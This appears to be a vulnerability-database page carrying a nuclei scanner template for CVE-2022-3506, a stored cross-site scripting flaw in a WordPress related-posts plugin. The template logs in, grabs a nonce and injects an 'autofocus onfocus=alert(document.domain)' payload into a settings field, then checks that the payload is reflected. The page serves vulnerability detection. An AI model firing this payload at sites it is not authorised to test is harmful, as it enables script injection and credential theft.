Lucene search
+L

WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting

🗓️ 21 Aug 2026 19:35:20Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 72 Views

WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting. Authenticated user input allows injection of malicious scripts to steal credentials and launch attacks

Related
Refs
Code
ReporterTitlePublishedViews
Family
huntr
Huntr
Stored Cross Site Scripting (XSS) in parameter rp4wp[heading_text]
5 Oct 202214:49
huntr
circl
Circl
CVE-2022-3506
14 Oct 202218:29
circl
cnnvd
CNNVD
related-posts-for-wp 跨站脚本漏洞
14 Oct 202200:00
cnnvd
cve
CVE
CVE-2022-3506
14 Oct 202200:00
cve
cvelist
Cvelist
CVE-2022-3506 Cross-site Scripting (XSS) - Stored in barrykooij/related-posts-for-wp
14 Oct 202200:00
cvelist
euvd
EUVD
EUVD-2022-42877
3 Oct 202520:07
euvd
nvd
NVD
CVE-2022-3506
14 Oct 202214:15
nvd
prion
Prion
Cross site scripting
14 Oct 202214:15
prion
ptsecurity
Positive Technologies
PT-2022-22540 · WordPress · Related-Posts-For-Wp
14 Oct 202200:00
ptsecurity
redhatcve
RedhatCVE
CVE-2022-3506
22 May 202523:06
redhatcve
Rows per page
id: CVE-2022-3506

info:
  name: WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that  can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-3506
    cwe-id: CWE-79
    epss-score: 0.0119
    epss-percentile: 0.65494
    cpe: cpe:2.3:a:never5:related_posts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: never5
    product: related_posts
    framework: wordpress
  tags: cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
      - |
        GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(header_4, 'text/html')"
          - "status_code_4 == 200"
          - 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
          - "contains(body_4, 'The amount of automatically')"
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'
        internal: true
        part: body
# digest: 4b0a00483046022100f4a54e048b09efb322c63ca0e691b3a4af11f803457257073bc49f4872cc3263022100979f6623cc5d0b8ba0ca47b2300e06eb6e22250bd3880df89ebaa3f3bedf9f65:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.15.4
CVSS 35.5
EPSS0.0119
SSVC
72